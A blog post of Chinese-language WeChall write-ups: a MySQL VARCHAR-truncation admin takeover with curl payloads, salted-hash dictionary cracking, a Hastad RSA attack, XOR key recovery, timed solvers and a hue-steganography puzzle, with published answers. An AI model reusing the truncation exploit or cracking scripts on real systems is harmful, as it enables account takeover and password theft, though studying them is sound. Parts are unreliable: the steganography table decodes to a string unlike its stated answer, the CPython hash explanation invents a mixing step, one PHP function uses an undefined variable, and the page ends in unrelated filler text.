Hello Navi

Tech, Security & Personal Notes

Screwed Signup (Exploit, PHP) by gizmore MySQL VARCHAR 截断 + 查询不一致导致的权限提升

Challenge

目标是 login as Admin。题目给了 register/login 的源码,chall_sql1 表中已有原始 Admin 记录(access_level=1337)。

关键源码:

1
2
// 注册 — INSERT 语句
$query = "INSERT IGNORE INTO `chall_sql1` VALUES ('$uname', '$pw', 0)";
1
2
3
4
// 登录校验
function screwed_signupGetUser($username) {
$query = "SELECT * FROM `chall_sql1` WHERE `username`='$username'";
}

Solution

漏洞是 VARCHAR 截断 + 查询不一致

  • 表定义 username VARCHAR(24),但 PHP 的 preg_match('/^[a-z0-9A-Z ]{3,64}$/D') 允许最长 64 字符
  • trim() 只去掉首尾空格,中间空格保留
  • MySQL 在非严格模式下静默截断超长值到 24 字符

利用步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1. 注册: username = "Admin" + 19空格 + "a"    (共 25 字符)
→ trim() 保留中间空格(a 在末尾不会被 trim 删掉)
→ regex 通过(3-64 字符规则)

2. UserExists("Admin" + 19空格 + "a") → false(表中无此长字符串记录)

3. MySQL INSERT 时截断到 VARCHAR(24):
实际写入: "Admin" + 19 空格 (access_level=0)

4. 现在表中有两条 Admin 记录:
- 原始 Admin (access_level=1337) ← 先插入
- 我们复制的 Admin (access_level=0) ← 后插入

5. 登录: username = "Admin"(无空格)
→ PasswordMatch 检查 username+password → 找到我们的记录(密码匹配)
→ GetUser 只查 username → WHERE username='Admin' → 返回第一行 → 原始 Admin
→ access_level=1337 > 0 → solved

关键:PasswordMatch 检查了密码但 GetUser 只查用户名,两条查询的不一致导致权限提升。

1
2
3
4
5
6
7
8
9
# 注册
curl -c /tmp/wc -b /tmp/wc -X POST \
'https://www.wechall.net/en/challenge/screwed_signup/register.php' \
-d 'username=Admin a&password=hack123&password2=hack123&register=Register'

# 登录
curl -c /tmp/wc -b /tmp/wc -X POST \
'https://www.wechall.net/en/challenge/screwed_signup/login.php' \
-d 'username=Admin&password=hack123&login=Login'

WC Hashing Game (Cracking) by gizmore 破解两组 hash:WC3(定盐 MD5)和 WC4(加盐 SHA1)。答案格式:word1,word2,word3,word4

Challenge

两组 hash 列表,各 17 条:

  • WC3(WeChall v3 算法):固定盐 MD5
  • WC4(WeChall v4 算法):每条 hash 独立加盐 SHA1
  • 答案 = 两组各自最长的两个明文,逗号分隔

题面示例:wordfrom1,wordfrom1,wordfrom2,wordfrom2

Solution

算法

1
2
3
4
5
6
7
8
9
10
import hashlib, string, random

# WC3: md5(md5(plaintext) + "zomgsalt")
digest = hashlib.md5(
hashlib.md5(word.encode()).hexdigest().encode() + b"zomgsalt"
).hexdigest()

# WC4: sha1("zomgsalt4" + password + salt + "zomgsalt4") + salt
t = hashlib.sha1(b"zomgsalt4" + password.encode() + salt.encode() + b"zomgsalt4")
digest = t.hexdigest() + salt # salt 追加到 hash 末尾

攻击路线

  1. 从 WeChall 页面获取两组 hash 列表(需登录)
  2. 用 rockyou 或类似英文词典做字典攻击
  3. 对每个 word 计算 WC3 hash 匹配;对 WC4 每条 hash 提取尾部 4 字节 salt,计算后匹配
  4. 排序取最长各两个
  5. 提交格式:longest_wc3,second_wc3,longest_wc4,second_wc4

完整脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import hashlib, string

# 从页面提取 hash 列表
wc3_hashes = [...] # 17 条 hex hash
wc4_raw = [...] # 17 条 hash+salt(44 hex chars = 40 hash + 8 salt)

# 字典攻击
for word in dictionary:
# WC3
h = hashlib.md5(hashlib.md5(word.encode()).hexdigest().encode() + b"zomgsalt").hexdigest()
if h in wc3_hashes:
found_wc3.append((len(word), word))

# WC4 — 每条 hash 的 salt 不同
for entry in wc4_raw:
target_hash = entry[:-8] # 前 40 hex = SHA1
salt = entry[-8:] # 后 8 hex = 4 bytes salt
t = hashlib.sha1(b"zomgsalt4" + word.encode() + bytes.fromhex(salt) + b"zomgsalt4").hexdigest()
if t == target_hash:
found_wc4.append((len(word), word))

found_wc3.sort(reverse=True)
found_wc4.sort(reverse=True)
answer = f"{found_wc3[0][1]},{found_wc3[1][1]},{found_wc4[0][1]},{found_wc4[1][1]}"

Key Points:

  • WC3 salt 固定zomgsalt,追加在第一次 MD5 hex 之后
  • WC4 每条 hash 尾 8 hex 是 salt:4 字节随机字母数字,需要按条提取
  • 所有明文是小写英文词典词
  • hash 列表在 页面:需从 /en/challenge/wechall/hashing_game/index.php 的 HTML 中提取
coincidence,subversion,triangulation,orthography

Brainfucked (Javascript) by gizmore 不是 Brainfuck,是 JSFuck——只用 []()!+ 六字符构造 JavaScript

Challenge

题面给一个巨大的 sourcecode.php(~100KB),看起来是 Brainfuck 但实际上是 JSFuck——一种只用 []()!+ 六个字符编码 JavaScript 的技术。它利用 JavaScript 的类型转换(如 []+{}"[object Object]")来构造任意字符串和代码。

源码在 sourcecode.php,直接在浏览器里 eval 这坨代码不安全——它会弹出 alert 并重定向到 Google。

Solution

核心方法是离线 sandbox 执行 JSFuck 代码,观察其行为:

1
curl -s -b 'WC=...' 'https://www.wechall.net/en/challenge/brainfucked/sourcecode.php' > jsfuck.txt

用 Node.js 搭建一个 mock browser 环境(拦截 alertdocument.location 等):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const vm = require("vm");
const fs = require("fs");
const code = fs.readFileSync("jsfuck.txt", "utf8").trim();

let capturedAlerts = [];
let locationHref = "";

const sandbox = {
alert: (...args) => capturedAlerts.push(...args),
document: {
title: "",
location: {
set href(v) {
locationHref = v;
},
},
},
location: {
set href(v) {
locationHref = v;
},
},
Array,
String,
Number,
Boolean,
Object,
Function,
RegExp,
Math,
Date,
JSON,
setTimeout: () => 0,
setInterval: () => 0,
console: { log() {}, warn() {}, error() {} },
};

vm.createContext(sandbox);
vm.runInContext(code, sandbox, { timeout: 30000 });

console.log("Alerts:", capturedAlerts);
console.log("Redirect:", locationHref);

执行后会输出:

1
2
Alerts: [ 18 ]
Redirect: https://www.google.co.uk

这对应解码后的代码:

1
2
3
4
var s = "UnfudgedDebugStuff";
s = s.length; // 此时 s = 18
alert(s); // 弹 18
document.location.href = "https://www.google.co.uk";

关键陷阱:

  • alert 显示的是 18(字符串长度),但这不是答案。
  • 答案是原始字符串 UnfudgedDebugStuff,不是它的长度。
  • 页面会重定向到 Google,所以不要在浏览器里直接 eval。
  • JSFuck 和 Brainfuck 完全不同——Brainfuck 用 <>+-.,[],JSFuck 用 []()!+
UnfudgedDebugStuff

Save the World (Crypto) by Z Hastad broadcast attack — 同一消息 m,e=3,三个不同 n

Challenge

题面给出一段虚构的世界观故事:三个 RSA 公钥(e=3,三个不同 n1,n2,n3)加密了同一个对称密钥 m。目标是恢复 m 的十进制形式的最后 20 位。

1
2
3
c1 = m^3 mod n1
c2 = m^3 mod n2
c3 = m^3 mod n3

Solution

这是经典的 Hastad broadcast attack。当同一消息用同一个小指数 e=3、不同互素 modulus 加密且无 padding 时:

m^3 对三个不同的 n 同余于不同的 c。用中国剩余定理(CRT)合并,如果 m^3 < n1*n2*n3,则 CRT 结果直接等于 m^3,开三次方根即可。

1
2
3
4
5
6
7
from sympy.ntheory.modular import crt
from sympy import integer_nthroot

C, mod = crt([n1, n2, n3], [c1, c2, c3])
m, exact = integer_nthroot(int(C), 3)
assert exact
print(str(m)[-20:])

完整的从页面抓数→计算的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import re, urllib.request

URL = 'http://www.wechall.net/en/challenge/Z/save_the_world/index.php'
COOKIE = 'WC=...'

req = urllib.request.Request(URL, headers={'Cookie': COOKIE})
html = urllib.request.urlopen(req, timeout=20).read().decode()
clean = re.sub(r'<br\s*/?>', '', html) # 关键:去掉 <br/> 标签

def extract(pattern):
m = re.search(pattern, clean)
return int(m.group(1).replace('\n', '').replace(' ', ''))

n1 = extract(r'n1=(\d[\d\s\n]*?)')
c1 = extract(r'c1=(\d[\d\s\n]*?)')
n2 = extract(r'n2=(\d[\d\s\n]*?)')
c2 = extract(r'c2=(\d[\d\s\n]*?)')
n3 = extract(r'n3=(\d[\d\s\n]*?)')
c3 = extract(r'c3=(\d[\d\s\n]*?)')

from sympy.ntheory.modular import crt
from sympy import integer_nthroot

C, mod = crt([n1, n2, n3], [c1, c2, c3])
m, exact = integer_nthroot(int(C), 3)
assert exact
print(str(m)[-20:])
  • <br/> 标签:页面里的超大整数被 <br/> 换行打断,直接复制会漏数字或引入多余字符。必须用 regex 去掉 <br/> 后再提取连续数字串。
  • 静态题:n1/n2/n3/c1/c2/c3 是固定的,对所有用户相同。答案唯一,只需计算一次。
  • sympy 需要安装uv pip install sympypip install sympy
21987654321987654321

GizCrypt (Crypto) by gizmore 自制对称加密,GWF_Crypt 算法,key 固定为 11 位 a-zA-Z

Challenge

题面给出一个自制对称加密(算法源码可见),一段 hex 密文,一个 key 的约束:长度 11,只含 a-zA-Z。目标是解密密文得到可读英文文本,从中提取嵌入的 12 位大写 HEX token 作为 answer。

Solution

算法源码(GWF_Crypt):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function decrypt($ciphertext, $key) {
$back = '';
$len = strlen($ciphertext);
$x = 1;
$k = -1;
$e = ord('e'); // 101, 常数
for ($i = 0; $i < $len; $i++) {
$k += $x;
if ($k >= $klen) {
$k = 0;
$x++;
if ($x >= $klen) $x = 1;
}
$back .= chr(ord($key[$k % $klen]) ^ ord($ciphertext[$i]) ^ $e);
}
return $back;
}

注意 encrypt = decrypt,加解密相同。本质是 XOR 流密码,但 key 不是简单循环——有一个递增步长的索引调度(step starts at 1, increments after each full cycle)。

Python 实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def gizcrypt_decrypt(ct, key):
klen = len(key)
x, k = 1, -1
e = 101 # ord('e')
plain = bytearray()
for b in ct:
k += x
if k >= klen:
k = 0
x += 1
if x >= klen:
x = 1
plain.append(key[k % klen] ^ b ^ e)
return bytes(plain)

Key 恢复(按 key index 分组 → 评分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import string
from collections import Counter

alphabet = string.ascii_letters # 52 chars

def key_index_seq(length, klen=11):
seq = []
x, k = 1, -1
for _ in range(length):
k += x
if k >= klen:
k = 0; x += 1
if x >= klen: x = 1
seq.append(k % klen)
return seq

seq = key_index_seq(len(ct))
groups = {i: [] for i in range(11)}
for i, kpos in enumerate(seq):
groups[kpos].append(ct[i])

key = []
for pos in range(11):
best = None
best_score = -9999
for k in alphabet:
plain = bytes(k ^ c ^ 101 for c in groups[pos])
score = sum(4 if b in (32,101,116,97,111) else
2 if chr(b).isalpha() or b in (44,46,39) else
1 if 32 <= b < 127 else -10
for b in plain)
if score > best_score:
best_score = score
best = k
key.append(best)

full_key = ''.join(key) # ItsPassword
plain = gizcrypt_decrypt(ct, full_key.encode())
print(plain.decode()) # 包含 answer: 9DD4752982DC

关键发现:

  • Key 是固定的ItsPassword,对所有人所有 session 都相同。只需要对当前 session 的密文解密即可得到唯一的 answer。
  • Answer 是 session-bound:每次页面刷新密文变化,嵌入的 12 位 HEX token 也变化,必须用当前 session 的密文解密。
  • 评分时 key[1] 样本太少(仅有 ~6 个字节),所以 key[1] 置信度最低。可以结合英文上下文人工校正。

Lettergrid (Coding) by gizmore 限时 word search——4.5 秒内找出网格中所有隐藏单词并按起始位置提交

Challenge

页面生成一个字母网格,需要在 4.5 秒内找出所有隐藏的单词(长度 >= 6,8 个直线方向),并按起始字母位置排序后提交。

1
2
3
Base:      https://www.wechall.net/challenge/lettergrid
Grid: generate.php → 返回 <pre> 格式的字母网格
Submit: index.php?solution=<answer>&cmd=Submit+Answer (GET)

答案格式:单词直接拼接,无分隔符(不是逗号分隔)。按单词起始位置(从上到下、从左到右)排序。

Solution

Trie 前缀树 + 8 方向扫描,单次运行 2-3 秒,远低于 4.5s 限时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests, re

BASE = 'https://www.wechall.net/challenge/lettergrid'
sess = requests.Session()
sess.cookies.set('WC', '...', domain='www.wechall.net')

# 1. 构建 Trie(单词 >= 6 字符)
class TrieNode:
__slots__ = ('children', 'is_word')
def __init__(self):
self.children = {}
self.is_word = False

root = TrieNode()
for word in open('/usr/share/dict/words'):
w = word.strip().lower()
if len(w) >= 6:
node = root
for ch in w:
node = node.children.setdefault(ch, TrieNode())
node.is_word = True

# 2. 获取网格
r = sess.get(f'{BASE}/generate.php')
match = re.search(r'<pre>(.*?)</pre>', r.text, re.DOTALL)
grid = [list(line.strip().lower()) for line in match.group(1).strip().split('\n') if line.strip()]
ROWS, COLS = len(grid), len(grid[0])

# 3. 8 方向搜索(用 Trie 实时剪枝)
DIRS = [(0,1),(0,-1),(1,0),(-1,0),(1,1),(1,-1),(-1,1),(-1,-1)]
found = {} # word -> (start_r, start_c)

for r in range(ROWS):
for c in range(COLS):
for dr, dc in DIRS:
node, last_word, last_len = root, None, 0
for step in range(max(ROWS, COLS)):
nr, nc = r + dr*step, c + dc*step
if not (0 <= nr < ROWS and 0 <= nc < COLS): break
ch = grid[nr][nc]
if ch not in node.children: break
node = node.children[ch]
if node.is_word:
word = ''.join(grid[r+dr*s][c+dc*s] for s in range(step+1))
if word not in found:
found[word] = (r, c)

# 4. 按起始位置排序后提交
answer = ''.join(sorted(found.keys(), key=lambda w: found[w]))
print(f'Found {len(found)} words: {sorted(found.keys())}')

r = sess.get(f'{BASE}/index.php', params={'solution': answer, 'cmd': 'Submit Answer'})
if 'solved' in r.text.lower() or 'correct' in r.text.lower():
print('SOLVED!')

Key Points:

  • 无分隔符:单词按起始位置排序后直接拼接,不加逗号或空格
  • /challenge/lettergrid/:注意 URL 没有 /en/ 前缀
  • 网格来源generate.php,每次刷新不同,必须同一 session 内抓取
  • 提交方式:GET 到 index.php?solution=...&cmd=Submit+Answer,不需要 CSRF
  • 标准词库/usr/share/dict/words 或 dwyl/english-words 皆可,344K 单词 >= 6 字符足够覆盖
  • Trie 剪枝是关键:不用 Trie 的话搜索量是 网格数 × 方向 × 最大路径长度,用 Trie 可以实时过滤无效前缀
  • 答案 session-bound:每次网格不同,无固定答案

The Travelling Customer (Coding, Training) by gizmore XKCD 287 风格 bounded knapsack——5 轮,每轮 3 秒限时

Challenge

页面给一个 pricelist,要求选出指定数量的商品,使总价等于目标值,且每类商品不超过 stock。需要连续解 5 轮,每轮 3 秒。

1
2
3
Endpoint: /en/challenge/training/programming/knapsaak/
problem.php → 返回新问题
answer.php?answer=<answer> → 提交答案(GET 方式)

题目参数(problem.php 返回的纯文本格式):

1
2
3
4
5
6
7
8
Items=50
Sum=5001
Stock=2
Level=1
Pizza=713
Chips=590
Eggs=523
...

Solution

这是 bounded knapsack(精确总价 + 精确件数 + 库存限制)。DFS + memo 即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import requests

BASE = 'https://www.wechall.net/en/challenge/training/programming/knapsaak'
COOKIES = {'WC': '...'}

def parse_problem(text):
items = []
meta = {}
for line in text.strip().split('\n'):
if '=' not in line: continue
k, v = line.split('=', 1)
k, v = k.strip(), v.strip()
if k in ('Items', 'Sum', 'Stock', 'Level'):
meta[k] = int(v)
else:
items.append((k, int(v))) # (name, price)
return items, meta['Items'], meta['Sum'], meta['Stock']

def solve(items, need_count, need_sum, stock):
n = len(items)
prices = [p for _, p in items]
names = [n for n, _ in items]
# 按价格降序排列(剪枝效果更好)
order = sorted(range(n), key=lambda i: -prices[i])
sp = [prices[i] for i in order]

memo = {}
def dfs(idx, ri, rs):
if ri == 0 and rs == 0:
return [0] * (n - idx)
if idx == n or ri < 0 or rs < 0:
return None
key = (idx, ri, rs)
if key in memo:
return memo[key]
# 剪枝:剩余件数超出库存限制
if ri > stock * (n - idx):
memo[key] = None; return None
# 剪枝:剩余金额超出价格范围
min_p, max_p = min(sp[idx:]), max(sp[idx:])
if rs < ri * min_p or rs > ri * max_p:
memo[key] = None; return None

p = sp[idx]
for qty in range(min(stock, ri, rs // p) + 1):
sub = dfs(idx + 1, ri - qty, rs - qty * p)
if sub is not None:
memo[key] = [qty] + sub
return memo[key]
memo[key] = None
return None

qs = dfs(0, need_count, need_sum)
if qs is None: return None
# 按原始顺序还原
quants = [0] * n
for i, orig_idx in enumerate(order):
quants[orig_idx] = qs[i]
# 拼接答案:qtyName...
return ''.join(str(quants[i]) + names[i]
for i in range(n) if quants[i] > 0)

s = requests.Session()
s.cookies.update(COOKIES)

for round_num in range(5):
resp = s.get(f'{BASE}/problem.php')
items, cnt, target, stock = parse_problem(resp.text)
answer = solve(items, cnt, target, stock)
resp2 = s.get(f'{BASE}/answer.php', params={'answer': answer})
print(f'Round {round_num+1}: {resp2.text.strip()}')

Key Points:

  • GET 请求:抓题和提交都用 GET(不是 POST),不需要 CSRF token
  • Cookie 复用:用 requests.Session() 保持同一会话,5 轮连续
  • Answer 格式:数量直接拼接商品名,无分隔符。例如 2Pizza3Chips1Eggs
  • 3 秒限时:每轮从抓题到提交必须在 3 秒内完成,所以必须自动化
  • 剪枝:价格排序 + 剩余范围检查,避免 DFS 爆炸
  • session-bound:每轮题目随机,答案不固定,无法直接复用

Flow Over Astronomy (Coding, Math) by anto 自定义进制大整数计算,必须在 3.1416 秒内提交结果

Challenge

页面给出一个 charset、input base、solution base,以及一串用 input base 表示的等式。计算结果并以 solution base 表示提交。限时 3.1416 秒。

典型输入:

1
2
3
4
5
Charset: hpQiNnoSt2E_guqOHd5j]P3v01wKZFk}{c8L6fmbDsMlVU7T[IzRYeWxGaB4#@JC9yrAX
Input Base: 52
Solution Base: 25

js6Q * zQwi * 0_Qm * pOZTc * RS_m * QthQf * ... + HjRq
  • Base N 使用 charset 的前 N 个字符做编码表
  • 等式结构:一长串乘法,末尾 + 一个数(全部是 input base 编码)

Solution

两个转换函数搞定:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def from_base(s, charset, base):
value = 0
table = {ch: i for i, ch in enumerate(charset[:base])}
for ch in s:
value = value * base + table[ch]
return value

def to_base(n, charset, base):
if n == 0:
return charset[0]
out = []
while n:
n, r = divmod(n, base)
out.append(charset[r])
return ''.join(reversed(out))

完整解法(抓题、计算、提交):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import re, sys
from urllib.request import Request, urlopen

CHALL_URL = 'http://www.wechall.net/en/challenge/anto/FlowOverAstronomy/index.php'
COOKIE = 'WC=...'

def fetch():
req = Request(CHALL_URL, headers={'Cookie': COOKIE})
return urlopen(req, timeout=10).read().decode()

def from_base(s, charset, base):
table = {ch: i for i, ch in enumerate(charset[:base])}
v = 0
for ch in s: v = v * base + table[ch]
return v

def to_base(n, charset, base):
if n == 0: return charset[0]
out = []
while n: n, r = divmod(n, base); out.append(charset[r])
return ''.join(reversed(out))

html = fetch()
# Parse parameters
charset = re.search(r'Charset:\s*(\S+)', html).group(1)
in_base = int(re.search(r'Input Base:\s*(\d+)', html).group(1))
out_base = int(re.search(r'Solution Base:\s*(\d+)', html).group(1))
# Parse equation — split on operators, handle multi-line
eq_match = re.search(r'Equation\s*\n(.*?)(?=\n&copy;)', html, re.DOTALL)
eq = eq_match.group(1).replace('\n', '').strip()

# Evaluate: split by + first, then *
terms = eq.split('+')
product_terms = terms[0].split('*')
add_term = terms[1].strip()

result = 1
for t in product_terms:
result *= from_base(t.strip(), charset, in_base)
result += from_base(add_term, charset, in_base)

answer = to_base(result, charset, out_base)
print(answer) # 提交这个值

关键陷阱:

  • 不用 float — 数值巨大,全部用 Python big int
  • 单 session 完成 — charset 和 equation 每次请求随机生成,不能手动分批
  • 解析等式 — 注意多行;末尾的 + HjRq 是加法项,前面的 * 是乘法
  • HTML 解析 — 不要用 .find() 切片,论坛反馈有人因此只错最后几位数字
  • 限时 3.1416s — 自动化脚本必须在同一 HTTP session 内完成抓题→计算→提交

答案 session-bound,每次不同,无法复用固定值。

PyHash (Coding, Python) by gizmore 利用 CPython 大整数 hash 的同余性质绕过哈希检查

Challenge

1
2
def fly_away(num: int) -> bool:
return hash(num) == 31337

要求找一个整数参数使函数返回 True。题面注明测试环境是 CPython 64-bit Python 3.10

Solution

CPython 对小整数有优化:hash(n) == n。所以直接传 31337 的话,hash(31337) == 31337 确实成立——但题面暗示要更大的整数,而且必须用 int,不是 float

关键是大整数的 hash 实现。CPython 用一个固定 modulus 做折叠:

1
2
import sys
P = sys.hash_info.modulus # 64-bit CPython: 2**61 - 1 = 2305843009213693951

对一个任意大整数 xhash(x) 近似等于 x % P(实际还有一步 murmur-style mixing,但对这个场景不重要)。因此构造一个与 31337 同余于 P 的大整数即可:

1
2
3
4
import sys
P = sys.hash_info.modulus
candidate = 31337 + P # 2305843009213725288
print(hash(candidate)) # 31337

完整解法:

1
2
3
4
5
6
7
8
9
import sys

def fly_away(num: int) -> bool:
return hash(num) == 31337

P = sys.hash_info.modulus # 2**61 - 1
num = 31337 + P # 2305843009213725288
assert fly_away(num) # True
print(num) # 提交这个数

这个解依赖 CPython 实现细节和 64-bit 平台。32-bit CPython 的 modulus 是 2**31 - 1,其他 Python implementation(PyPy, Jython)可能完全不同。在目标版本(CPython 3.10 64-bit)上验证通过。

如果 31337 + P 已被别人提交过,就试 31337 + k * P(k 为任意正整数)——所有同余值都有效。

2305843009213725288(或 31337 + k * 2305843009213693951)

Challenge

I have drawn a picture of a caterpillar and hid some text in it. I am sure you can figure it out, as it is not too hard :)

Solution

下载 caterpillar.png(220x55, RGBA)

标准 stegano 分析(zsteg, bit plane 扫描, LSB/MSB 全通道)无结果。PNG 只有 IHDR/sRGB/bKGD/pHYs/IDAT/IEND 六个 chunk,无附加数据。

数据不在 RGB 裸值里,而是藏在其他色彩空间的 Hue 值中。

RGB 是加色混色——R, G, B 各 0-255。毛虫的主色是黄绿,以 RGB(135,194,41) 为例:

  • R=135:不在可打印 ASCII 范围(32-126)外,chr(135) 是扩展字符
  • G=194:同上,超出范围
  • B=41:chr(41) = ),无意义

直接用 RGB 值当 ASCII 只能得到一堆乱码。

色彩空间可以互相转换

RGB 和 HSV 描述的是同一个颜色,只是坐标系不同——就像经纬度 (116.4°E, 39.9°N) 和北京市地址是同一地点。

1
2
3
4
5
6
7
8
9
10
11
import colorsys

r, g, b = 135, 194, 41

# RGB -> HSV
h, s, v = colorsys.rgb_to_hsv(r/255, g/255, b/255)
# h = 83° (色相角度), s = 79% (饱和度), v = 76% (明度)

# HSV -> RGB (可逆)
r2, g2, b2 = colorsys.hsv_to_rgb(h, s, v)
# (r2,g2,b2) == (135,194,41) # 无损还原

转换公式是解析的,无精度损失。

解法

毛虫的 8 个主 body segment,每个用了一种特定的颜色。RGB→HSV 后,H(色相角度)落在可打印 ASCII 范围内:

1
2
3
4
5
6
7
8
9
10
segment 1 (x=  0- 22)  #e1f0c9    H=83° -> 'S'
segment 2 (x= 23- 46) #e8f4d7 H=85° -> 'U'
腿阴影 (x= 47- 69) #6e7d4d H=79° -> 'O'
腿阴影 (x= 70- 92) #465512 H=73° -> 'I'
segment 3 (x= 93-115) #a9bb27 H=67° -> 'C'
segment 4 (x=116-140) #557315 H=79° -> 'O'
segment 5 (x=141-165) #7dad30 H=83° -> 'S'
segment 6 (x=166-187) #eaf4d0 H=77° -> 'M'
头部 (x=188-219) #e06478 H=350° -> 不可打印 (结束标记)
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
from PIL import Image
import colorsys
from collections import Counter

img = Image.open('caterpillar.png').convert('RGBA')
w, h = img.size

# 逐列取最常见的非白色 Hue
x_hues = {}
for x in range(w):
hues = []
for y in range(h):
r, g, b, a = img.getpixel((x, y))
if (r, g, b) == (255, 255, 255):
continue
h_val, _, _ = colorsys.rgb_to_hsv(r/255, g/255, b/255)
hues.append(round(h_val * 360))
if hues:
x_hues[x] = Counter(hues).most_common(1)[0][0]

# 合并连续相同 Hue 为段,只保留稳定段(>=10 列宽)
result = []
run_h, run_start, run_len = None, None, 0
for x in range(w):
h = x_hues.get(x)
if h == run_h:
run_len += 1
else:
if run_len >= 10 and 32 <= run_h <= 126:
result.append(chr(run_h))
run_h, run_start, run_len = h, x, 1

if run_len >= 10 and 32 <= run_h <= 126:
result.append(chr(run_h))

decoded = ''.join(result)
print(f'Decoded Hue sequence: {decoded}')
print(f'Answer (last word): {decoded.split()[-1]}')
COLOR-SHEMES
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE